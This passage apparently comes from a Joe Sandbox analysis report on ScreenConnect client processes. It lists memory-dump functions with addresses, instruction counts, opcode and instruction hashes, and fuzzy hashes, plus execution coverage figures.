Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FE8B0C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction ID: aabc5c55cc7b894348d63b27ccaf399b554649264b11db38c12f5dbc0d40a824
Opcode Fuzzy Hash: 91657e27274f83cb6022a71ee9cc749a9cdcd77e7c8dced23ffb6ba6e1b73161
Instruction Fuzzy Hash: BEE0E536E10209CACF01DFA4D8406DCFB75FF86311F505256E50477110E7712AD9CB91

Function 04FED280 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e016bb1f0ad2675fd82d6e20bb18b9936749e81721643ba5233a330c90fbd7
Instruction ID: 96fda17efeeae3bfb8d286f2a2e88cdd134f84fa368e2fded61a04d3133cb804
Opcode Fuzzy Hash: 39e016bb1f0ad2675fd82d6e20bb18b9936749e81721643ba5233a330c90fbd7
Instruction Fuzzy Hash: D6E08670E4A249EFC741DBB8E91146C7BF5EF85204B1501EED908DB361D6306E15C741

Function 04FE5DD0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ca54e15be21b29fddccb67493563a217e29071801f153d2335966af63be93e
Instruction ID: 26171cc0358f5e84610c6a989e396cb3f077fe3d2735fe264c55cb03e18b3812
Opcode Fuzzy Hash: 73ca54e15be21b29fddccb67493563a217e29071801f153d2335966af63be93e
Instruction Fuzzy Hash: 68D05E318087986FD712C7B989058643FB4DE8726875641DAE105CB233D261EC03C701

Function 04FED290 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e73250088000c2761c6d74f4e61b6060ff10d89f337d2af5ffd5a0c8ca3ec7bd
Instruction ID: 4d52e6ec26d3ed2ee9e376ec83436cd51fc0a7982f5b4f9ecd4334449684a991
Opcode Fuzzy Hash: e73250088000c2761c6d74f4e61b6060ff10d89f337d2af5ffd5a0c8ca3ec7bd
Instruction Fuzzy Hash: 4BD01730A4220DEFCB80EFA8EA0196DB7F9EF84204B1045A9D508E7310EA316E119B80

Function 04FE3700 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58e416c5f39d38d133c96fb82265ab47922d416e8084f044da949215b1d6b2bf
Instruction ID: d77e086fec3fd09ade165545dd61f3152b75d59be3c9947e5ed32925f596976c
Opcode Fuzzy Hash: 58e416c5f39d38d133c96fb82265ab47922d416e8084f044da949215b1d6b2bf
Instruction Fuzzy Hash: A8C012F291A7816ADB2A062C04301743B22DED310939B48D7D4C6CB466942498478B13

Function 04FE3B0D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718cd3aa7e3926644f0544ca74b0d31460a9deb7bcefbe5c7260bf83d926887d
Instruction ID: 7140c786ac0c84389a572845d9b097459e5fcfcb26709425bd0e711c3bf42f70
Opcode Fuzzy Hash: 718cd3aa7e3926644f0544ca74b0d31460a9deb7bcefbe5c7260bf83d926887d
Instruction Fuzzy Hash: 06D05EB91455848FC301CF74F984C943FB0AF9A30832A82C2D488CB323C261EC05CF90

Function 04FE0E10 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a613c7673e6020efcc2d2a98f05762baaf1b6251f54708a340520950a84036fe
Instruction ID: 23d12a60c0a8d33cf84d1597b62cb6a823474006089257c6980ea11eb11997e7
Opcode Fuzzy Hash: a613c7673e6020efcc2d2a98f05762baaf1b6251f54708a340520950a84036fe
Instruction Fuzzy Hash: 73D0C776409380AFD7139B608A14B917F71FF56703F06C0D6E2D5CB1B2D675A819D722

Function 04FE3721 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a321e2dd22b593b7568cba6ab6e430b5573d4f6d4ad3aa709998b89c21115cb
Instruction ID: 5365e7c10b5bf8b7b2d887557a8d621d4ee40fbd44362db4f0aa96f0727c71d2
Opcode Fuzzy Hash: 0a321e2dd22b593b7568cba6ab6e430b5573d4f6d4ad3aa709998b89c21115cb
Instruction Fuzzy Hash: 2ED0C9E161A280AFC706CAA888D44587FB09A9714A31980CADC59CF167CA26A94B8722

Function 04FEE1DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8f568884d7e34c2d881209f22276e7ad1de8fa58a2bd38df888ece60452f06
Instruction ID: 154490545da74821efa26b13b9909def5ffd64aa16e4c4e59ec6eccf08b4594f
Opcode Fuzzy Hash: 6b8f568884d7e34c2d881209f22276e7ad1de8fa58a2bd38df888ece60452f06
Instruction Fuzzy Hash: 14D0C970D4022ADBEB349F41E9997F97A71EB00306F240596E151A1091C7B81AC5CF80

Function 04FE3B20 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f8bfab13cd057fd3552da75a2089a267d0e53626c1d187abbf0cf2a6b65772
Instruction ID: 50febbe312b41ff2c4c3a49cd703755e7e3a6811debab3536aaf097181569e9c
Opcode Fuzzy Hash: 36f8bfab13cd057fd3552da75a2089a267d0e53626c1d187abbf0cf2a6b65772
Instruction Fuzzy Hash: D3C002792501048F8700DB58E688C117BE8AB486143258194E5088B322C621FC018A91

Function 04FE5DE0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e531c7556f3d527dcef1ec037cf9e2717eba03a4d407757c40db45949829b8d
Instruction ID: fba1df006ee47b4d62fcc1013010dd0c3d3c4d475ad279116ed82f1df4468255
Opcode Fuzzy Hash: 9e531c7556f3d527dcef1ec037cf9e2717eba03a4d407757c40db45949829b8d
Instruction Fuzzy Hash: D6B092311502088F82009B58D444C0073A8AB08A243010090E1088B232C621FC018A40

Analysis Process: ScreenConnect.WindowsClient.exePID: 1460, Parent PID: 792COMMON

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BBB6E4C Relevance: .7, Instructions: 677
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b0d5d49e3a726214a62ac184a7cdd88c9c5f9b1d0aaa28b952c7ff978b06ce
Instruction ID: cb0889b0464b80a74d92a2e72c510b1bafa516700a8b7394c0f1ad1ae410df68
Opcode Fuzzy Hash: 65b0d5d49e3a726214a62ac184a7cdd88c9c5f9b1d0aaa28b952c7ff978b06ce
Instruction Fuzzy Hash: 0922F932B1E91E4FE7A9E7A984756BA73D2FF98304F564079D40EC31E2DE28B9418740

Function 00007FFD9BBB6001 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b9b64f6411e9dfe9ec53666f1cde99d817e5981e521be6463159790a4852006
Instruction ID: 3e3d485c49e303294a78dfb0ede9ecfdfa1f08f3a9cea8d1f04e10d5afd54ca4
Opcode Fuzzy Hash: 1b9b64f6411e9dfe9ec53666f1cde99d817e5981e521be6463159790a4852006
Instruction Fuzzy Hash: 4D125632B0EA5E4BEBB8AA5884656B6B3C1FF54348F4500BDD45EC71E7ED28ED428640

Function 00007FFD9B8A8014 Relevance: 1.7, APIs: 1, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FFD9B8A8142

Memory Dump Source

Source File: 00000014.00000002.3009681864.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b8a0000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 48b6ab40a9389062760aedb442b8f3c453712626278683951576407fbe9e43ba
Instruction ID: 2274a7e33d6ff24a4ca9d2bd5682a0cc66e3cbc645842f43b26eaa0161b0e846
Opcode Fuzzy Hash: 48b6ab40a9389062760aedb442b8f3c453712626278683951576407fbe9e43ba
Instruction Fuzzy Hash: 7E41283190DB584FDB28AFA8984A5E97BE0EF59310F04417FE449C3192DE78A946CBA1

Function 00007FFD9BBB0420 Relevance: .6, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c91ee159ea5cd86bff4c42a6fc634cef9ab4e928c8b7e375002cd2fcf5d984
Instruction ID: 9e65813b428c0cb0cf42dc0bea75811e2d0f971a81d0b308bb4547bfc12d6b50
Opcode Fuzzy Hash: 59c91ee159ea5cd86bff4c42a6fc634cef9ab4e928c8b7e375002cd2fcf5d984
Instruction Fuzzy Hash: FC122371B0EA5E4FE7A8E6AD84616B637D1FF98344F4540B9D04EC72E3ED28E9028740

Function 00007FFD9BBB51F2 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80acafe0aeb5474b86a7f8dad3e827bed82f956bfd0152f03253b26c60c47629
Instruction ID: 9202e039385516190e59edabea1cb7d90f04615c1cf9009720e756be31607b8a
Opcode Fuzzy Hash: 80acafe0aeb5474b86a7f8dad3e827bed82f956bfd0152f03253b26c60c47629
Instruction Fuzzy Hash: 73A12732A0DE1E4FEB68EA18C4B28F673A0FF603447140539D44A875D6EE25F9478F92

Function 00007FFD9BBB1428 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f4f223d14cb8a98bb88be62bf9dbcdeccbacdba9d4c07dc220932f4322441
Instruction ID: 20b4ca4ad9df2ddfe1dac704f7c46a2faff8bb90def9a5cc33e2dbea4ff5ed10
Opcode Fuzzy Hash: 808f4f223d14cb8a98bb88be62bf9dbcdeccbacdba9d4c07dc220932f4322441
Instruction Fuzzy Hash: C4716B3271DB1E4FEB6C595CA89D17633C1FB99325B41013EE8CEC32A2ED26E8434A41

Function 00007FFD9BBB2A98 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd27215499bc1421f96fa1dce687a3e34c7c5579bb60354406d104334c6b7ce2
Instruction ID: e116cb4df3a8ec5083b3ca2160af45e8dd5206426dbd637f9f5f43c79db793a1
Opcode Fuzzy Hash: bd27215499bc1421f96fa1dce687a3e34c7c5579bb60354406d104334c6b7ce2
Instruction Fuzzy Hash: 81915972B0DA4A4FDB98DE68D8A5AAA77D2FF54344B0405BDD44DC72D6DE21F802CB40

Function 00007FFD9BBB3EDA Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0634d1ccf853fa7e41280640ef03f3c2b99f20c900b57dbac57f7195b3042d91
Instruction ID: fbc8b485928d6163db1bb77342a0998ac0eef00dc2cdd8c5725ee87cfa0fdc75
Opcode Fuzzy Hash: 0634d1ccf853fa7e41280640ef03f3c2b99f20c900b57dbac57f7195b3042d91
Instruction Fuzzy Hash: 6A91653470DA498FDBDDEF58C4A16A177E2FFA930472445E9C059CB69BCA25E843CB40

Function 00007FFD9BBB6F87 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a4e50db1223fb83267d78210c0a32f2c29d1cf365af4f4ce4355da3e69f7cc
Instruction ID: 1ac5ae05640be9bf3fb191b9c3509f78263b1f74b7c6418c2a4fb92848e5886a
Opcode Fuzzy Hash: 13a4e50db1223fb83267d78210c0a32f2c29d1cf365af4f4ce4355da3e69f7cc
Instruction Fuzzy Hash: 6A81BA32F1AD2F4EEB759BA580716FA72D2FF94348F524439D40EC31E1DD29BA428A50

Function 00007FFD9BBB82DC Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bb2c1cb25ff47054e37ce48821dd8a04205601104b2cc77871b54b87b00534
Instruction ID: 9d96fc1a4f932cccb263186e4103b8105ed90ed3e7a7d2f225dc2f34120e7e96
Opcode Fuzzy Hash: 54bb2c1cb25ff47054e37ce48821dd8a04205601104b2cc77871b54b87b00534
Instruction Fuzzy Hash: ED513C33B0EE5D4FEB74DA989C701AA77A1FF94314F05057AE45DC31E2EE21A9068B41

Function 00007FFD9BBB4D45 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df21f03878690df449e39db44758077d9a181a782c081164aa33e090b60f2372
Instruction ID: d75ac8a1f7b3747d8756d7db1503e89571269874d54d915dca6282517b933722
Opcode Fuzzy Hash: df21f03878690df449e39db44758077d9a181a782c081164aa33e090b60f2372
Instruction Fuzzy Hash: 22510612A0E7E60FE767A6BC58B50E57FA1EF4235870A01FBD0D8CB1E7ED04590A8351

Function 00007FFD9BBB5759 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd0d91d135e20ce9dd5f168b571514b99d8f67022a5f52c22c254a9eea10e66
Instruction ID: 4c12f51ac35697cd159da618d429285e460b31fe9e4661d773b8c2b83c43e584
Opcode Fuzzy Hash: 8dd0d91d135e20ce9dd5f168b571514b99d8f67022a5f52c22c254a9eea10e66
Instruction Fuzzy Hash: 2F416471709A8D8FDB98DF24C8B4A6637A1FF58314B1506ADE45EC72E2DB31E852CB01

Function 00007FFD9BBB815C Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5483fb8137ae07e7d120652cdc9b78df99aeb2ce65cd628e4020dd6b3e7007d1
Instruction ID: 62ff4dccce69995bca8d09fb94c92b30a5120ab88e445102c1b79723bb2e861d
Opcode Fuzzy Hash: 5483fb8137ae07e7d120652cdc9b78df99aeb2ce65cd628e4020dd6b3e7007d1
Instruction Fuzzy Hash: 4D414661B1EE8E0FE799A76C98A516577D1FF9821431801BAD41CC32EBEE28ED038741

Function 00007FFD9BBB09D9 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb02699ec6cf9fa44b3f3f7dc271e898cec2ce5fd24c664a733ce7e66fa2b86d
Instruction ID: c81f66858d5630fd1bd1d5cf7bf81058919d4148386c68097c0085b8a3913c60
Opcode Fuzzy Hash: fb02699ec6cf9fa44b3f3f7dc271e898cec2ce5fd24c664a733ce7e66fa2b86d
Instruction Fuzzy Hash: B5315030B09A4E8FDB98EF58C460ABA77A1FF69314B5105A9D01DC72D6CA35ED52CB40

Function 00007FFD9BBB6214 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa5d484e377098f2b02f1ad942820243d2d8f7af72803f40a3d177bb3f179b0
Instruction ID: d43770c8bf9f109a0b1c1481315c1aced17ef9a51e97a66ef499b8c4af164cc6
Opcode Fuzzy Hash: 0aa5d484e377098f2b02f1ad942820243d2d8f7af72803f40a3d177bb3f179b0
Instruction Fuzzy Hash: E3312A21B0D95E4FFBAA9A5894706B57791FF86308F1500B9D01EC71E7DE28EC068B41

Function 00007FFD9BBB7F6B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf82f3373e76083958df9c38b97fe2928545e1678ef307029935cdb1dcb58c0
Instruction ID: ed919ff9263efbd1441072d3ee30cf696d60ede14ea5dfc58ab0893f1be68043
Opcode Fuzzy Hash: 8cf82f3373e76083958df9c38b97fe2928545e1678ef307029935cdb1dcb58c0
Instruction Fuzzy Hash: C6314821B0EE9E0FEFA9ABA868619B273A1FF55344B9400BDD01DC31D7ED25F9068741

Function 00007FFD9BBB09F0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27bc6e39a3283af7ed7c70d329ac2c08bf7cc1b9c6cbfcc0d85a9e6458b0b899
Instruction ID: 40d872a9caf56ad8d68bf27701e0757adbf2e02a340b5dbd8bc28cf1690fbe16
Opcode Fuzzy Hash: 27bc6e39a3283af7ed7c70d329ac2c08bf7cc1b9c6cbfcc0d85a9e6458b0b899
Instruction Fuzzy Hash: 8E310C30B0995E8FDB98EF58C461ABA73A1FF68308B500569D41DC72D5CB35ED52CB80

Function 00007FFD9BBB844A Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec983c5fc16c92c66285fdd859038037f86e1163fb55a473f45aa0288527999a
Instruction ID: 44b186d95cbe4046f2403f9e44e4c11b5688e9564759e16eb6ab3fd442896b62
Opcode Fuzzy Hash: ec983c5fc16c92c66285fdd859038037f86e1163fb55a473f45aa0288527999a
Instruction Fuzzy Hash: E0215A3160EE8D4FD36DE7749C600A67BE1FF85314B0502BAD08DC31E2DB28A906C741

Function 00007FFD9BBB0315 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 686393ec7da8bb249ad32b7ce26ace131b8ce04468cf5d1b74e607f967530d22
Instruction ID: edda1a84f559a32b4dd33612b45128cd5448edf4d17f6b48b4e239d8bf6f0d07
Opcode Fuzzy Hash: 686393ec7da8bb249ad32b7ce26ace131b8ce04468cf5d1b74e607f967530d22
Instruction Fuzzy Hash: EC110632B0DA9C4FDB94E76888696BA7BE1FF69300F4500BBD14DC32E2DA25A8058741

Function 00007FFD9BBB54A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2445d9c735da591468e0b4a34cdae16c78a33d9de7378d483309b27bfcce6d
Instruction ID: 29fff7178da938d9a2309498b6fa6166b294cecba79d3fd8d2e278083dae4e81
Opcode Fuzzy Hash: 7c2445d9c735da591468e0b4a34cdae16c78a33d9de7378d483309b27bfcce6d
Instruction Fuzzy Hash: 6811A801F1EE8A0FEBA89BA814B11B5ABC2FF9425474541F6D04CC30EBEC28D9438351

Function 00007FFD9BBB55ED Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82115d61aca99a9e1e65ba3c5bd70427ec08a093d9d9b4bbd34b6c10a6eac718
Instruction ID: 9541a54a89bb8bb4e3d41182e6507a867709a92b4f09956ba7bf960f7d0a625c
Opcode Fuzzy Hash: 82115d61aca99a9e1e65ba3c5bd70427ec08a093d9d9b4bbd34b6c10a6eac718
Instruction Fuzzy Hash: 4B11A572E1EA5C4BEF91CFA44C751A93FA1FF55304F06059EE45DD32B2DA21A900CB42

Function 00007FFD9BBB2BFC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ed6c885c0573288211283cc8cfeede9ce5efe42c2ba054053988ab35b600ab
Instruction ID: 891fd2658cac7f3173684b736552d18f6994db22549e021e05fd33df5fd1d876
Opcode Fuzzy Hash: d9ed6c885c0573288211283cc8cfeede9ce5efe42c2ba054053988ab35b600ab
Instruction Fuzzy Hash: 95118E71B09A1A4FDB98EF58C461A667BA2FF68344F0540B8C44DCB2D7DA35F946CB80

Function 00007FFD9BBB0DA0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a614ec836ffb15581008386c5f6679cc904bcdce498400f5e94031b3851ac3
Instruction ID: 313e202a231e59207b2ea341511e576080c0597c09709928a9c4e83f23f5a951
Opcode Fuzzy Hash: 93a614ec836ffb15581008386c5f6679cc904bcdce498400f5e94031b3851ac3
Instruction Fuzzy Hash: AB014951B19D5E0BEBACA7AC14B567B92C2FFD814879540B5D00DC31DAEC28E9428751

Function 00007FFD9BBB2C65 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ebdf69fc3550364191550a0a8cde74f8afa460d7aec8a0cdb3717ca6f8bd97
